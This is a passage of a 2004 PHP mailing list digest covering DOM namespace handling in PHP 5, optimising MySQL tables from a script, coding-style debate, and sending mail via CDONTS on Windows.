> >> mysql_num_rows($query_qUsername); echo $num_rows; // this comes
> >> back with nothing, I was expecting a
> >
> >> numeric
> >
> >> of 1 exit;
> >
> >> Regards Col
> >
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFAMFIhaxdA/5C8vH8RAocmAKCiJsq+ZjfwKT8+Nh/AbNQ9vB5ZOwCeKCRd
> hKO0x1rckabl8/++P995sCE=
> =2epc
> -----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
On 2/16/04 1:24 AM, Adam Bregenzer wrote:
On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:
As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
"real" nodes (why!?!) and the consequence is that you couldn't append such
a node with $node->appendChild($domnamspacenode_object); ...
I am not sure if PHP 5 has many changes from PHP 4, however have you
tried calling set_namespace[1]?
$node->set_namespace('http://www.somedomain.de/');
[1] http://www.php.net/domnode-set-namespace
Vivian, it's not possible the set the namespace according to the W3C
standard, except with createElementNS(). As Adam said, in PHP 4, there
was the option set_namespace, which isn't ported to PHP5 (yet).
Maybe we should port that function as well, to allow some deeper level
manipulation of the namespaces...
Currently, I don't have a solution to your problem, except porting
setNamespace to PHP5...
chregu
--
christian stocker | Bitflux GmbH | schoeneggstrasse 5 | ch-8004 zurich
phone +41 1 240 56 70 | mobile +41 76 561 88 60 | fax +41 1 240 56 71
http://www.bitflux.ch | [EMAIL PROTECTED] | gnupg-keyid 0x5CE1DECB
--- End Message ---
--- Begin Message ---
Christian Stocker wrote:
> ...
> Vivian, it's not possible the set the namespace according to the W3C
> standard, except with createElementNS(). As Adam said, in PHP 4, there
> was the option set_namespace, which isn't ported to PHP5 (yet).
>
> Maybe we should port that function as well, to allow some deeper level
> manipulation of the namespaces...
>
> Currently, I don't have a solution to your problem, except porting
> setNamespace to PHP5...
>
> chregu
>
Porting the setNamespace function to PHP5 would be nice. Another solution
could be the possibility to append a namespace-node (is the
domnamespacenode class currently used by any functions?) or the
setAttribute checks wether some "xmlns"/"xmlns:" attribute is set and
updates namespaceUri itself... would be more W3C standard compliant.
without the functionality to set the namespace it will never be possible to
overwrite the createElementNS of domdocument, as the following example
shows:
<?
class MyElement extends DomElement {...}
class MyDocument extends DomDocument {
function createElement($name, ...) {
$element = new MyElement($name, ...);
return $element;
}
function createElementNS($uri, $name, ...) {
$element = new MyElement();
// here you should set the Namespace...
// ...unfortunatly impossible
// that would be nice
$element->setNamespace("http://...");
// -> maybe you get into trouble with "NO MODIFICATION ALLOWED
ERROR"!!
// because node isn't appended
// or something like
$element->setAttributeNS("http://www.w3c.org/2000/xmlns",
"xmlns",
"http://mydomain.de/");
// -> maybe you get into trouble with "NO MODIFICATION ALLOWED
ERROR"!!
// because node isn't appended
return $element;
}
}
?>
i think because of the problems with the MODIFICATION ERRORS while node
isn't appended, it would be best if you could define the node-namespace
with the third argument of DomElement::__construct($name, $value, $uri =
"defaultUri")...
it would be VERY nice if you think about such solutions...
thanks a lot,
vivi
--- End Message ---
--- Begin Message ---
--
best regards,
Jon Arne
--- End Message ---
--- Begin Message ---
is there a way to optimize individual tables in a php script?
--
Diana Castillo
Global Reservas, S.L.
C/Granvia 22 dcdo 4-dcha
28013 Madrid-Spain
Tel : 00-34-913604039 ext 214
Fax : 00-34-915228673
email: [EMAIL PROTECTED]
Web : http://www.hotelkey.com
http://www.destinia.com
--- End Message ---
--- Begin Message ---
Hola Diana,
$optimize_tabla_acl = "OPTIMIZE TABLE '$tbl_acl'";
mysql_query($optimize_tabla_acl,$conexion) or die("No he podido
optimizar la tabla.");
Salu2
-----Original Message-----
From: Diana Castillo [mailto:[EMAIL PROTECTED]
Sent: lunes, 16 de febrero de 2004 10:38
To: [EMAIL PROTECTED]
Subject: [PHP] optimizing tables
is there a way to optimize individual tables in a php script?
--
Diana Castillo
Global Reservas, S.L.
C/Granvia 22 dcdo 4-dcha
28013 Madrid-Spain
Tel : 00-34-913604039 ext 214
Fax : 00-34-915228673
email: [EMAIL PROTECTED]
Web : http://www.hotelkey.com
http://www.destinia.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Hello Jason,
Sunday, February 15, 2004, 7:44:06 PM, you wrote:
>> I feel the book you're learning from might not be the best out there!
>> Especially as it uses the horrible if : else : endif notation,
>> includes code on the same line as the PHP tags themselves
JW> What is horrible about that style? IMO doing this:
Consistency. The majority of code you can download will not use this
notation. Although PHP coding standards are subjective as best, you
still won't find any advocating this technique. Pick a style and stick
to it. It's usually best if that style at least matches something like
the official PHP documentation.
JW> <?php if ($something) : ?>
To me this is a mess and I would never advocate this style. Code on
the same line as a php delimiter does not make for easy reading.
JW> looks a lot neater than:
JW> <?php
JW> if ($something) {
I wouldn't have done it like that either, although its closer.
<?php
if ($something)
{
...
}
?>
JW> But whichever style a book chooses to use should not impact on one's decision
JW> as to whether it is a good book or not.
Of course it does, especially when combined with the other factors I
listed. If the book you're learning from doesn't teach good coding
practise - what will? It's not something you're "born" with.
--
Best regards,
Richard Davey
http://www.phpcommunity.org/wiki/296.html
--- End Message ---
--- Begin Message ---
Hello,
I'm trying send emails from PHP with IIS (form Win32).
With ASP, I used CDONTS component.
How can I use CDONTS component from PHP?
Thanks very much.
Juan Torres.
--- End Message ---